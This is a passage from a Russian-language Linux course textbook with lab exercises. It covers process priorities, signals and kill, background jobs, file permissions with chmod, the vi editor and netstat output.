где adnice — значение (от –20 до +19), добавляемое к значению nice процесса-родителя. Полученная сумма и будет значением nice для запускаемого процесса. Отрицательные значения может устанавливать только суперпользователь. Если опция — adnice не задана, то по умолчанию для процесса-потомка устанавливается значение nice, увеличенное на 10 по сравнению со значением nice родительского процесса. Очевидно, что если вы не суперпользователь, то применять эту команду имеет смысл только тогда, когда вы хотите запустить некий процесс с низким значением приоритета.

Другая команда, renice, служит для изменения значения nice для уже выполняющихся процессов. Ее формат таков:

renice priority [[-p] PID] [[-g] grp] [[-u] user]

Например, команда

renice -1 987 –u daemon –p 32

увеличивает на 1 приоритет процессов с PID 987 и 32, а также всех процессов пользователя daemon.

Суперпользователь может изменить приоритет любого процесса в системе. Другие пользователи могут изменять значение приоритета только для тех процессов, для которых данный пользователь является владельцем. При этом обычный пользователь может только уменьшить значение приоритета (увеличить значение nice), но не может увеличить приоритет, даже для возврата значения nice к значению, устанавливаемому по умолчанию. Поэтому процессы с низким приоритетом не могут породить «высокоприоритетных детей».

Сигналы и команда kill

Сигналы — это средство, с помощью которого процессам можно передать сообщения о некоторых событиях в системе.

Сами процессы тоже могут генерировать сигналы, с помощью которых они передают определенные сообщения ядру и другим процессам. С помощью сигналов можно осуществлять такие акции управления процессами, как приостановка процесса, запуск приостановленного процесса, завершение работы процесса. Всего в Linux существует 63 разных сигнала, их перечень можно посмотреть по команде

kill –l

Сигналы принято обозначать номерами или символическими именами. Все имена начинаются на SIG, но эту приставку иногда опускают: например, сигнал с номером 1 обозначают или как SIGHUP, или просто как HUP.

Когда процесс получает сигнал, то возможен один из двух вариантов развития событий. Если для данного сигнала определена подпрограмма обработки, то вызывается эта подпрограмма. В противном случае ядро выполняет от имени процесса действие, определенное по умолчанию для данного сигнала. Вызов подпрограммы обработки называется перехватом сигнала. Когда завершается выполнение подпрограммы обработки, процесс возобновляется с той точки, где был получен сигнал.

Можно заставить процесс игнорировать или блокировать некоторые сигналы. Игнорируемый сигнал просто отбрасывается процессом и не оказывает на него никакого влияния. Блокированный сигнал ставится в очередь на выдачу, но ядро не требует от процесса никаких действий до разблокирования сигнала. После разблокирования сигнала программа его обработки вызывается только один раз, даже если в течение периода блокировки данный сигнал поступал несколько раз.

В табл. 2.2.1. приведены некоторые из часто встречающихся сигналов.

Таблица 2.2.1. Сигналы

№

Имя

Описание

Можно перехватывать

Можно блокировать

Комбинация клавиш

1

HUP

Hangup. Отбой

Да

Да

2

INT

Interrupt. В случае выполнения простых команд вызывает прекращение выполнения, в интерактивных программах — прекращение активного процесса

Да

Да

<Ctrl>+<C> или <Del>
3

QUIT

Как правило, сильнее сигнала Interru

Да

Да

<Ctrl>+<>
4

ILL

Illegal Instruction. Центральный процессор столкнулся с незнакомой командой (в большинстве случаев это означает, что допущена программная ошибка). Сигнал отправляется программе, в которой возникла проблема

Да

Да

8

FPE

Floating Point Exception. Вычислительная ошибка, например, деление на ноль

Да

Да

9

KILL

Всегда прекращает выполнение процесса

Нет

Нет

11

SEGV

Segmentation Violation. Доступ к недозволенной области памяти

Да

Да

13

PIPE

Была предпринята попытка передачи данных с помощью конвейера или очереди FIFO, однако не существует процесса, способного принять эти данные

Да

Да

15

TERM

Software Termination. Требование закончить процесс (программное завершение)

Да

Да

17

CHLD

Изменение статуса порожденного процесса

Да

Да

18

CONT

Продолжение выполнения приостановленного процесса

Да

Да

20

TSTR

Сигнал останова, генерируемый клавиатурой. Переводит процесс в фоновый

Да

Да

<Ctrl>+<Z>

Как видно из таблицы 2.2.1, некоторые сигналы можно сгенерировать с помощью определенных комбинаций клавиш. Но такие комбинации существуют не для всех сигналов. Зато имеется команда kill, которая позволяет послать заданному процессу любой сигнал.

Для посылки сигнала процессу (или группе процессов) можно воспользоваться командой kill в следующем формате:

kill [-сигн] PID [PID..]

где сигн — это номер сигнала, причем если указание сигнала опущено, то посылается сигнал 15 (TERM — программное завершение процесса). Чаще всего используется сигнал 9 (KILL), с помощью которого суперпользователь может завершить любой процесс. Но сигнал этот очень «грубый», если можно так выразиться, поэтому его использование может привести к нарушению порядка в системе. Поэтому в большинстве случаев рекомендуется использовать сигналы TERM или QUIT, которые завершают процесс более «мягко».

Наиболее часто команду kill вынужден применять суперпользователь. Он должен использовать ее для уничтожения процессов-зомби, зависших процессов (они показываются в листинге команды ps как <exiting>), процессов, которые занимают слишком много процессорного времени или слишком большой объем памяти и т. д. Особый случай — процессы, запущенные злоумышленником.

Перевод процесса в фоновый режим

Если вы запускаете какой-то процесс путем запуска программы из командной строки, то обычно процесс запускается, как говорят, «на переднем плане». Это значит, что процесс «привязывается» к терминалу, с которого он запущен, воспринимая ввод с этого терминала и осуществляя на него вывод. Но можно запустить процесс в фоновом режиме, когда он не связан с терминалом. Для запуска процесса в фоновом режиме в конце командной строки запуска программы добавляют символ & (амперсанд).

Например, в фоновом режиме запускается процесс cc prog.c:

$ cc prog.c &

2388

$

Shell выводит номер этого процесса (PID) и разрешает ввод следующей команды.

Фоновые процессы обладают некоторыми недостатками:

не допускают ввода с клавиатуры;

обспечивают вывод на экран, но при этом нарушают целостность вывода диалогового процесса.

Общепринятый прием исключения влияния фонового вывода на интерактивную работу:

ком_строка>имя_файла.out &

ком_строка планирует задание для фонового режима

перенаправляет вывод вместо экрана в указанный файл головного каталога пользователя.

Пример: Запуск программы, осуществляющей поиск файлов по шаблону «ааа*», в фоновом режиме, результаты поиска перенаправляются в файл grep.out:

$grep ааа* > grep.out &

194

$ps

PID TTY TIME CMD

194 tty5 0:02 grep

200 tty5 0:01 ps

В оболочке bash имеются две встроенные команды, которые служат для перевода процессов на передний план или возврата их в фоновый режим. Но прежде, чем рассказывать об этих командах, надо рассказать о команде jobs. Она всегда вызывается без аргументов и показывает задания, запущенные из текущего экземпляра shell. В начале каждой строки вывода этой команды указывается порядковый номер задания в виде числа в квадратных скобках. После номера указывается состояние процесса: stopped (остановлен), running (выполняется) или suspended (приостановлен). В конце строки указывается команда, которая исполняется данным процессом. Один из номеров выполняющихся заданий помечен знаком +, а еще один — знаком -. Процесс, помеченный знаком +, будет по умолчанию считаться аргументом команд fg или bg, если они вызываются без параметров. Процесс, помеченный знаком -, получит знак +, если только завершится по какой-либо причине процесс, который был помечен знаком +.

Команды fg и bg служат для перевода процессов на передний план или возврата их в фоновый режим. В качестве аргумента обеим этим командам передаются номера тех заданий, которые присутствуют в выводе команды jobs. Если аргументы отсутствуют, то подразумевается задание, помеченное знаком +. Команда fg переводит указанный в аргументе процесс на передний план, а команда bg — переводит процесс в фоновый режим. Одной командой bg можно перевести в фоновый режим сразу несколько процессов, а вот возвращать их на передний план необходимо по одному.

Практическая работа №4(1) Команды управления процессами. Создание фоновых процессов

Цель работы:

Закрепить представление о возможностях командного языка UNIX по управлению процессами, которым выделяются все необходимые ресурсы вычислительной системы

Научиться запускать на выполнение фоновые процессы и процессы переднего плана, получать моментальный снимок процессов в системе.

Порядок выполнения работы

Изучаются команды:

ps — запрос информации о процессах текущего терминала;

top получение информации о «состоянии процессов в режиме реального времени;

& — запуск фонового процесса;

jobs — запрос листинга списка заданий;

bg — перевод оперативного в фоновый режим;

fg перевод фонового процесса в оперативный.

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Выведите на экран Терминала справку по следующим командам: ps, top, jobs, bg, fg. Назначение и формат команд приведите в отчете.

Выведите на экран листинг характеристик (в длинном и коротком форматах) процессов, инициализированных с Вашего терминала. Проанализируйте и объясните содержание каждого поля сообщения

Запустите утилиту получения информации о процессах в режиме реального времени. Проанализируйте и объясните содержание каждого поля сообщения

Запустите простейшую процедуру в фоновом режиме с бесконечным циклом выполнения, предусматривающую, например процесс, выводящий на экран бесконечный поток символов «y»:

уes &

Выведите на экран листинг характеристик (в длинном и коротком форматах) процессов, инициализированных с Вашего терминала. Объясните изменения в листинге характеристик процессов. Объясните содержание PID и PPID. Какой процесс является родительским для запущенной процедуры.

Выйдите из системы и войдите заново. Проанализируйте листинг процессов. Объясните изменения в системе.

Запустите процесс уes в оперативном режиме с перенаправлением вывода в устройство /dev/null («черная дыра»).

Переведите процесс в оперативный режим и проанализируйте сообщение на экране.

Приостановите выполнение процесса и переведите его в фоновый режим. Проанализируйте сообщение на экране.

Завершите работу всех запущенных вами процессов, переведя их на передний план и нажав клавиши Ctrl+C.

Завершите работу с Терминалом.

Практическая работа №4(2) Управление приоритетами процессов. Завершение работы процессов

Цель работы:

Закрепить представление о возможностях командного языка UNIX по управлению процессами, которым выделяются все необходимые ресурсы вычислительной системы

Научиться осуществлять управление существующими в системе процессами, изменяя их приоритеты и посылая им сигналы управления.

Порядок выполнения работы

Изучаются команды:

nice — понижение приоритета процесса;

kill — посылка сигнала процессу.

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Выведите на экран Терминала справку по следующим командам: nice, kill. Назначение и формат команд приведите в отчете.

Запустите процесс уes в оперативном режиме с перенаправлением вывода в устройство /dev/null («черная дыра»).

Приостановите выполнение процесса, используя команду kill.

Переведите процесс в фоновый режим. Проанализируйте сообщение на экране.

Убейте процесс, послав командой kill сигнал завершения процесса.

Запустите процесс поиска директорий в корневом каталоге в фоновом режиме (выводимые данные перенаправьте в файл или «черную дыру»).

Выведите на экран листинг характеристик (в длинном формате) процессов, инициализированных с Вашего терминала. Каково значение приоритета запущенного процесса? Какой процесс является родительским для запущенной процедуры.

Понизьте значение приоритета процедуры поиска. На что и как повлияет эта операция при управлением вычислительным процессом системы? Как отразятся её результаты в описателях процессов?

Убейте все созданные ранее процессы и завершите работу с Терминалом.

Контрольные вопросы:

Объясните понятия процесса и ресурса. Какое их значение в организации вычислительного процесса в ОС UNIX?

Какая информация содержится в описателях процессов? Как просмотреть их содержание в процессе работы с системой?

Какими способами можно организовать выполнение программ в фоновом режиме?

Какие особенности выполнения программ в фоновом режиме? Как избежать вывода фоновых сообщений на экран и прерывания выполнения фоновых программ при прекращении сеанса работы с системой?

Как пользователь может повлиять на распределение ресурсов между активными процессами?

Как можно прервать выполнение активных процессов? Какая информация для этого необходима и откуда она извлекается?

Тема 2.3. Права доступа к файлам и каталогам

2.3.1. Команды управления правами доступа

Каждый файл принадлежит конкретному пользователю. Владелец файла имеет абсолютный контроль над теми, кто из пользователей системы может иметь доступ к файлу. Владельцу предоставлены средства командного языка, позволяющими разрешать или запрещать доступ к своим файлам и каталогам.

Права процессов пользователей при доступе к файлу кодируются в атрибутах защиты файла. Атрибуты сопровождают каждый файл, хранятся в описателях файлов, на которые в каталоге имеются ссылки, и доступны для анализа и изменения посредством специальных команд ОС UNIX. Атрибуты защиты файла определяют права доступа трем видам процессов: процессам пользов ателя — владельца файла (u — user), процессам группы владельца файла (g — group) и процессам остальных пользователей (o — other), не попавших ни в одну из двух предыдущих категорий. Код атрибутов прав доступа пользователей трех перечисленных категорий для каждого файла отображается в полном листинге каталога символьным кодом в виде комбинации следующих символов:

r — разрешение на чтение или на выполнение файла, для каталога — просмотр содержимого каталога (список всех файлов);

w — разрешение модификации или удаления файла, для каталога — включение или удаление файлов;

x — разрешение выполнения файла (совместно с — r), для каталога — поиск по каталогу конкретных отдельных файлов или сделать каталог текущим.

Например, полный листинг каталога /udd/user1/lev может иметь следующий вид:

-rwxr-xr-x 1 lev user1 171 Mar 4 14:20 fil1.c

drwxr-xr-x 2 lev user1 32 Mar 4 14:51 hh

Здесь файл fil1.c, владельцем которого является пользователь со входным именем lev, является обычным, содержит исходный текст программы на языке Си длиной 171 байт, доступен владельцу для чтения, записи и выполнения, членам группы и прочим пользователям — только для чтения и выполнения. Директория hh защищена для включения новых и удаления существующих файлов.

Для изменения значений кодов защиты только указанных в команде файлов служит команда:

chmod <коды защиты> <список_файлов>

Коды защиты (r, w, x) могут быть заданы только владельцем файла в символьном или числовом виде. Атрибуты задаются для владельца (u), его группы (g) и остальных пользователей (o) или для всех категорий пользователей одновременно (a).

Над символьными атрибутами защиты можно выполнять три следующие операции отдельно для владельца, для группы-владельца и для всех остальных пользователей:

= — присвоить значения кодов доступа (замена существующих);

+ — добавить значения кодов доступа;

— — отобрать права доступа.

Необходимо отметить, что новый файл обычно создается по умолчанию как невыполняемый, со стандартным набором прав доступа:

rw-rw-rw- — для файла;

rwxrwxrwx — для каталога.

Например, необходимо сделать некоторый файл shproc1 выполняемым, если он был создан как обычный. Для этого можно использовать следующую команду:

$ chmod u+x shproc1

$ shproc1

< Выполнение программы из файла shproc1 >

$

Эти действия необходимы и при формировании и выполнении shell-процедуры.

chmod a+x f1 — в данном случае файл f1 становится доступным для исполнения всем пользователям;

chmod a=rwx f2 — предоставляются все права всем категориям пользователей.

Числовые значения кодов защиты кодируются трехразрядным восьмеричным числом, где существование соответствующего кода соответствует наличию единицы в двоичном эквиваленте восьмеричной цифры этого числа, отсутствие атрибута — нулю.

Например:

Символьное представление: rwx r-x r—

Двоичное представление: 111 101 100

Восьмеричное представление: 7 5 4

Поэтому следующая команда:

chmod 0754 f3

— эквивалентна команде:

chmod u=rwx,g=rx,o=r f3

В результате выполнения команд в любой из приведенных форм коды доступа файла f3 приобретут следующий вид:

ls -l f3

”””””””””””””””””””””””””””””

-rwxr-xr— ………………….. f3

”””””””””””””””””””””””””””””

Таким образом, файл f3 является выполняемым для владельца и группы, чтение его разрешено всем пользователям, модифицировать файл может только владелец.

С целью защиты файла от удаления надо отобрать право (w) как у файла, так и у каталога, в котором находится файл.

Стандартные значения кодов прав доступа устанавливает администратор системы. Однако пользователь в rsh может изменить временно (до конца сеанса работы) значение кода для всех своих новых файлов с помощью команды:

$umask [-r] <режим-доступа>

Собственно маска — это двоичный код, с этим кодом и двоичным кодом установленным ране выполняются некоторые логические операции — в результате операции вычисляются новые коды защиты. В ksh — возможно символьное представление кодов защиты в umask, а собственно числовое значение маски просчитывается системой автоматически и используется для вычисления результирующих заданных в команде кодов доступа; ключ -S -выводит на экран текущие символьные значения кодов; без ключа — команда выводит числовое значение маски.

Имеются и другие возможности управления правами доступа. Приведенные ниже функции может выполнять только владелец файла или администратор.

chown нов_владелец имя_файла – владелец передает права владения данным файлом другому пользователю или группе.

chgrp нов_группа имя_файла — передача прав другой группе (сменить группу).

Практическая работа №5(1) Управление правами доступа к файлам

Цель работы:

Изучить принципы защиты файлов от несанкционированного доступа

Изучить влияние задаваемых прав доступа к файлу на выполнение различных команд по обработке этих файлов .

Порядок выполнения работы

Изучаются команды:

chmod — изменить права доступа к указанному файлу.

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Выведите на экран Терминала справку по следующим командам: chmod. Назначение и формат команд приведите в отчете.

Создайте в Вашем HOME-каталоге один текстовый файл, например с именем f1. Выведите на экран полный листинг каталога.

Проанализируйте и умейте объяснить какие права доступа к f1 имеет владелец файла, его группа и остальные пользователи.

Выведите на экран содержимое файла f1. Объясните почему операция выполнилась успешно.

Запретите права на чтение f1 владельцу и группе. Попытайтесь вывести на экран текст файла. Объясните почему операция не выполняется.

Удалите права на запись в файл. Попытайтесь добавить к файлу текст и удалить его. Объясните результат.

Завершите работу с Терминалом

Практическая работа №5(2) Управление правами доступа к каталогам

Цель работы:

Изучить принципы защиты каталогов от несанкционированного доступа

Изучить влияние задаваемых прав доступа к каталогу на выполнение различных команд по обработке этих каталогов.

Порядок выполнения работы

Изучаются команды:

chmod — изменить права доступа к указанному каталогу.

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Выведите на экран Терминала справку по следующим командам: chmod. Назначение и формат команд приведите в отчете.

Проанализируйте права доступа к Вашему личному каталогу. Есть ли ограничения на работу с файлами в этом каталоге?

Удалите право на модификацию каталога. Выполните операцию удаления файла f1, созданного в ходе выполнения работы 5(1). Объясните результат.

Создайте подкаталог. Разместите в нем текстовый файл. Проанализируйте права доступа к подкаталогу и объясните возможности по использованию подкаталога.

Удалите право владельца на «выполнение» подкаталога.

Попытайтесь сделать подкаталог текущим. Объясните результат.

Просмотрите содержимое подкаталога. Объясните результат.

Попытайтесь вывести длинный листинг подкаталога только для одного из файлов (поиск файла по подкаталогу). Объясните результат.

Попытайтесь вывести на экран содержимое файла. Объясните результат.

Верните право для подкаталога на «выполнение», удалите право на «чтение» и сохраните право на «модификацию».

Выполните п.п. 7, 8, 9, 10. Проанализируйте и объясните результаты

Верните право для подкаталога на «выполнение», удалите право на «чтение» и сохраните право на «модификацию»

Выполните п.п. 7, 8, 9, 10. Проанализируйте и объясните результаты

Завершите работу с Терминалом

Контрольные вопросы:

Как кодируются в атрибутах файла и каталога права доступа?

Кто может пользоваться и изменять права доступа к файлам?

Какие команды для изменения символьных кодов прав доступа Вы знаете? Перечислите и расскажите о назначении каждой из команд.

В чем разница в применении команд chmod и umask?

Какие команды обработки файлов разрешают (или запрещают) права на чтение, модификацию и исполнение?

Какие команды обработки каталогов разрешают (или запрещают) эти же права?

Что означает право на выполнение, применительно к каталогу?

Какими правами надо обладать, чтобы удалить файл или каталог?

Какие команды для защиты файлов Вы знаете?

Тема 2.4. Редактирование файлов средствами редактора vi

2.4.1. Текстовый редактор vi

Во всех версиях ОС UNIX имеется встроенный текстовый редактор vi экранного типа. Он может применяться практически на любом терминале, начиная с телетайпа. Редактор является универсальным средством, доступным в среде любой UNIX-подобной ОС.

Редактор богат своими функциональными возможностями. Мы ограничимся наиболее часто используемыми функциями при составлении обычных текстов, текстов процедур и пр..

Основная особенность – при редактировании текста в качестве управляющих используются обычные клавиши алфавитно-цифровой клавиатуры, а позиционирование осуществляется только относительно текущего положения курсора.

Начало работы с редактором:

$vi имя_файла [*] вызов редактора и файла

Если файл не существует, то создается новый пустой

Редактируемый файл переписывается в буфер. Далее все изменения в редактируемом файле соответственно осуществляются в буфере в КОМАНДНОМ РЕЖИМЕ — нажатые клавиши интерпретируются как команды редактирования текста. В командный режим редактор переводится автоматически сразу же после входа в программу vi.

По завершении редактирования надо выйти из редактора с сохранением файла:

<Esc>:wq! — отредактированная копия замещает исходный файл. Если же требуется отменить все редактирование, то:

<Esc>:q!

В режиме редактирования, например, для ввода новых фрагментов текста файла; используются следующие клавиши

команды режима ввода текста (значения клавиш на экране не отображается):

a (append) — набор последующего текста в текущую строку после курсора

i (insert) — вставка текста в текущую строку после курсора

o (open) — вставить пустую строку после текущей

Замечание: если в качестве управляющей используется клавиша нижнего регистра – операция редактирования реализуется после курсора, если верхнего — перед курсором.

Операции ввода текста необходимо завершить командой

<Esc> — переводит редактор в режим редактирования последнего варианта текста. В командном режиме могут исполняться и другие группы команд.

Команды управления курсором в области текста файла. Два способа — использование специальных клавиш-команд (см справочник) или использование общеизвестных управляющих клавиш клавиатуры.

Команды удаления текста

х — удаление текущего символа

[#]dw — удаление # текущих слов

[#]dd -удаление текущих строк

dG — удаление всех строк от текущей до последней

d$ — удаление конца строки от текущей позиции

d^ — удаление начала строки до текущей позиции.

Замечание: удаленные фрагменты текста не пропадают а временно помещаются в буфер, откуда онимогут быть возвращены в текст или перемещены по файлу (см. ниже).

Команды отмены произведенных изменений в текущей строке:

u — отмена (undo) последнего изменения

U — отмена всех изменений.

Команды копирования указанного в команде объекта в буфер:

[#]yw — копирование (yank) текущего слова

[#]yy — копирование текущей строки

уG — копирование строк от текущей до конца файла

yS — копирование части строки от курсора до конца строки

y^ — копирование части строки от курсора до начала строки

Команды вставки буфера в текст:

P — перед курсором

p — после курсора

Команды изменения текста:

r<символ> — заменяет (change) текущий символ на указанный

с<объек> — заменяет указанный объект на текст, который вводится с клавиатуры — <Esc>

#cw -изменение текущего слова

#cc — всей текущей строки

cG — всех строк файла от текущей до последней

cS -части строки от курсора до конца строки

с^ — части строки от курсора до начала строки.

Команды поиска строки файла по фрагменту текста:

/<текст> — начиная от текущей строки до конца файла с переходом

на его начало

?<текст> — начиная от текущей строки до начала файла и по всему

n — поиск следующей строки в файле, аналогичной найденной

N — поиск предыдущего вхождения в файл заданной строки.

Редактор имеет возможности поиска строк по шаблонам (например по диапазону символов) и пр.

На экране содержимое редактируемого файла представляется как бы через некоторое окно со следующими полями (сверху — вниз):

область текста файла;

область пустых строк, которые надо ввести, если они понадобятся;

тильда (~) — область для ввода дополнительного текста файла, но пустых строк этой области в файле нет;

область сообщений редактора или область префиксных ex-команд — операций редактора над группой строк файла или над целым файлом (команды вводятся на приглашение «:», отображаются на экране и исполняются по команде управляющей клавиши перевода строки).

Команды используются для многострочных операций с редактируемым файлом и настройки сеанса редактирования:

:w файл — запись текущего буфера в файл;

:m,nw файл — запись строк с m-ой по n-ую в файл;

:e! — отмена всех изменений в буфере с перезагрузкой в него файла с диска;

:e файл — загрузка файла в буфер редактирования, файл замещает старое содержимое самого буфера;

:r файл — добавление содержимого файла после текущего положения курсора;

:set опция — значение опций определяет настройку редактора и пр.

Практическая работа №6(1) Изучение интерфейса редактора vi

Цель работы:

Изучить основные возможности встроенного текстового редактора vi — наиболее распространенного средства для построения текстовых файлов, исходных текстов программ и shell-процедур.

Порядок выполнения работы

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Войдите в редактор с созданием нового пустого файла с произвольным именем и расширением — .1.

Изучите интерфейс редактора vi. Как перейти в командный режим редактора? В текстовый режим редактора? Какие операции с текстом позволяет выполнить редактор?

Поместите в созданный файл текст, включающий не менее четырех строк с несколькими словами в каждой.

Вставьте по одной пустой строке до и после одной из строк файла.

Заполните пустые строки произвольным текстом.

Вставьте еще по одной строке в середину текста файла без предварительного резервирования пустых строк.

Перейдите в режим редактирования и выполните произвольное редактирование отдельных слов и строк файла с использованием всех команд из групп «Команды изменения текста» и «Команды отмены произведенных изменений в текущей строке».

Выйдите из редактора с сохранением файла. Убедитесь в сохранении созданного файла.

Практическая работа №6(2) Создание и редактирование текста с помощью редактора vi

Цель работы:

Изучить основные возможности встроенного текстового редактора vi.

Научиться редактировать текстовые файлы средствами редактора vi.

Порядок выполнения работы

Изучаются команды:

сохранение файлов;

ввода текста;

удаления фрагментов текста;

копирования фрагментов текста в буферную область памяти;

вставки содержимого буфера в текст файла;

редактирования (изменения) текста;

поиска строк файлов по их фрагментам;

многострочных операций с файлом (префиксные команды)

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Войдите опять в vi для редактирования созданного файла с использованием команд из групп «Команды копирования в буфер» и «Команды вставки буфера в текст».

Поменяйте местами несколько слов в строках файла.

Поменяйте местами несколько строк.

Поменяйте местами последовательно начало строки с её концом и наоборот.

Выполните операции поиска строк файла по заданным их фрагментам с различными направлениями поиска ( см. «Команды поиска строки файла по фрагменту её текста»).

Не выходя из vi, перепишите полученную в результате редактирования версию файла в файл с тем же именем, но с расширением .new.

Добавьте первые 3 строки редактируемого файла к файлу .1.

Не выходя из vi, загрузите в буфер файл с расширением .1.

Последовательно удалите части строк и несколько строк с использованием команд из группы «Команды удаления текста».

Выйдите из редактора без сохранения файла.

Просмотрите и проанализируйте содержимое редактируемых файлов в текущем каталоге.

Контрольные вопросы:

В чем особенности и преимущества встроенного редактора vi ОС UNIX?

Какие два основных режима работы использует редактор? Как осуществляется переключение режимов?

Какую структуру имеет экран при редактировании файла? Назначение полей экрана?

Как в vi организовано редактирование открытого в нем файла?

Как организована работа с клавишными командами редактора?

Что такое «префиксные команды» и их назначение? Как организована работа с командами этого вида?

Какие функции редактора Вы использовали при выполнении лабораторной работы?

Тема 2.5. Изучение сетевых команд shell

Сетевые команды Shell

Персональный компьютер на вашем рабочем месте может быть подключен к локальной сети. Более того, локальные сети становятся реальностью и в домашних условиях. Рассмотрим работу с одной из сетевых команд ОС Linux – утилитой netstat.

Утилита netstat выводит информацию о локальной сети и средствах TCP/IP. Именно к ней чаще всего обращаются администраторы, чтобы быстро отыскать причину неисправности в сети TCP/IP. Содержание и форма выходной информации зависят от операционной системы, но обычно выводятся следующие данные: список соединений, статистика сетевых интерфейсов, информация по буферам данных, содержание таблицы маршрутизации, статистика работы протокола. Характер выводимой информации можно выбирать с помощью опции командной строки.

Основные ключи утилиты:

при выведении параметров утилиты на экран используйте команду | more для постраничного вывода.

Ключ

Функция

-r route

вывод таблицы маршрутизации
-i interfaces

вывод статистики сетевых интерфейсов
-s statistics

Фвывод статистики передачи данных (по протоколу SNMP)
-n numeric

имена портов в числовом виде
-N symbolic

имена портов в символическом виде
-l listening

вывод состояния портов, находящиеся в режиме ожидания
-a all

вывод состояния всех портов
Активные соединения через порты:

-st

TCP
-u

UDP
-W

RAW
-X

UNIX

Список соединений.

Команда netstat обладает набором ключей для отображения портов, находящихся в активном и/или пассивном состоянии. Таким образом, можно получить список всех серверных приложений, работающих на данном компьютере.

Информация выводится столбцами. В первом из них указан протокол, затем размеры очередей приема и передачи для установленного соединения на данной машине (на другом конце соединения размеры очередей могут быть другими), локальный и удаленный адреса и текущее состояние соединения.

Пример:

st1@pds:~ > netstat -ta

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp 0 2 pds.sut.ru:telnet gerasim.pds.sut.ru:1288 ESTABLISHED

tcp 1 0 pds.sut.ru:4550 pds.sut.ru:3128 CLOSE_WAIT

tcp 1 0 pds.sut.ru:4548 pds.sut.ru:3128 CLOSE_WAIT

tcp 0 0 gw.pds.sut.:netbios-ssn marya.pds.sut.ru:1027 ESTABLISHED

tcp 0 0 gw.pds.sut.:netbios-ssn yanko.pds.sut.ru:1104 ESTABLISHED

tcp 0 0 gw.pds.sut.:netbios-ssn mumu.pds.sut.ru:1065 ESTABLISHED

tcp 0 0 *:6000 *:* LISTEN

tcp 0 0 *:3128 *:* LISTEN

tcp 0 0 *:53333 *:* LISTEN

tcp 0 0 *:389 *:* LISTEN

tcp 0 0 localhost:1032 localhost:1033 ESTABLISHED

tcp 0 0 *:netbios-ssn *:* LISTEN

tcp 0 0 *:smtp *:* LISTEN

tcp 0 0 *:imap2 *:* LISTEN

tcp 0 0 *:pop3 *:* LISTEN

tcp 0 0 *:login *:* LISTEN

tcp 0 0 *:shell *:* LISTEN

tcp 0 0 *:8000 *:* LISTEN

tcp 0 0 *:telnet *:* LISTEN

tcp 0 0 *:ftp *:* LISTEN

tcp 0 0 *:time *:* LISTEN

tcp 0 0 *:www *:* LISTEN

tcp 0 0 *:2049 *:* LISTEN

tcp 0 0 *:832 *:* LISTEN

—More—

Как видно из примера, большинство серверов находится в режиме ожидания запроса на соединение (LISTEN). В первой строке отражено соединение (ESTABLISHED) через telnet с машиной gerasim.pds.sut.ru. Состояние CLOSE_WAIT означает, что соединение разорвано, но переключение в состояние LISTEN еще не произошло; TIME_WAIT – что соединение ожидает разрыва. Если соединение находится в состоянии SYN_SENT, то это означает наличие процесса, который пытается установит соединение с несуществующим сервером. Состояние соединения имеет значение только для протокола TCP. Протокол UDP факта установления соединения не проверяет.

Содержание таблицы маршрутизации.

Каждое соединение машины с сетью называется сетевым интерфейсом. Машина, имеющая более одного интерфейса, может принимать данные по одному интерфейсу и передавать их по другому, таким образом осуществляя пересылку данных между сетями. Эта функция называется маршрутизацией, а машина, выполняющая ее – шлюзом.

Данные маршрутизации хранятся в одной из таблиц ядра. Для направления пакета по конкретному адресу ядро подбирает наиболее подходящий маршрут. Если такой маршрут отсутствует и нет маршрута по умолчанию, то отправителю возвращается сообщение об ошибке.

Команда netstat –r позволяет отображать таблицу маршрутизации.

Пункты назначения и шлюзы могут показываться или именами машин, или их IP-адресами. Флаги дают оценку маршрута.

Пример:

st1@pds:~ > netstat -r

Kernel IP routing table

Destination Gateway Genmask Flags Ifac

pds.sut.ru * 255.255.255.255 UH eth1

195.19.219.120 * 255.255.255.248 U eth0

195.19.219.128 * 255.255.255.192 U eth1

192.168.1.0 * 255.255.255.0 U eth0

195.19.221.0 lgw.ccs.sut.ru 255.255.255.0 UG eth1

193.125.0.0 lgw.ccs.sut.ru 255.255.0.0 UG eth1

loopback * 255.0.0.0 U lo

default lgw.ccs.sut.ru 0.0.0.0 UG eth1

Название столбца

Расшифровка

Gatway

Имена используемых шлюзов
Genmask

Маска, используемая для отображения общей части адреса, соответствующего данному маршруту
Flags

Флаги, описывающие маршрут: G Маршрут использует шлюз
U Интерфейс активен, может использоваться для передачи данных
H Данные можно передавать только одному узлу
D Запись создана перенаправляющим сообщением протокола ICMP
M Запись модифицирована перенаправляющим сообщением протокола ICMP
Iface

Интерфейс, используемый для передачи пакетов

Статистика сетевых интерфейсов.

При использовании ключа –i команды netstat на экран будут выведены статистические данные всех используемых интерфейсов. Исходя из них, можно выяснить, исправно ли соединение с сетью.

Пример:

st1@pds:~ > netstat -i

Kernel Interface table

Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg

eth0 1000 0 844904 0 17 0 1454454 5 0 0 BRU

eth0: 1000 0 — no statistics available — BRU

eth1 1500 0 590844 0 7 0 434438 59 0 0 BRU

lo 3924 0 45754 0 0 0 45754 0 0 0 LRU

Название столбца

Расшифровка

Gatway

Имена используемых шлюзов
Genmask

Маска, используемая для отображения общей части адреса, соответствующего данному маршруту

Ошибки являются следствием проблем в кабельной системе. В нормально работающей сети количество конфликтов (RX-OVR, TX-OVR) не должно превышать 3% от числа пакетов, а другие ошибки не должны составлять более 0,5% от общего числа пакетов.

Статистика передачи данных.

Команда netstat –s выдает содержимое счетчиков сетевых программ. В выходной информации есть разделы, относящиеся к различным протоколам: IP, ICMP, TCP, UDP. С ее помощью можно определить место появления ошибки в принятом пакете.

Пример:

st1@pds:~ > netstat -s

Ip:

179495 total packets received 13 with invalid headers 8753 forwarded

0 incoming packets discarded

168812 incoming packets delivered

325599 requests sent out

544 fragments failed

Icmp: 728 ICMP messages received

3 input ICMP message failed

ICMP input histogram:

destination unreachable: 82

timeout in transit: 55

source quenchs: 9

echo requests: 582

1235 ICMP messages sent

0 ICMP messages failed

ICMP output histogram:

destination unreachable: 646

time exceeded: 6

redirect: 1

echo replies: 582

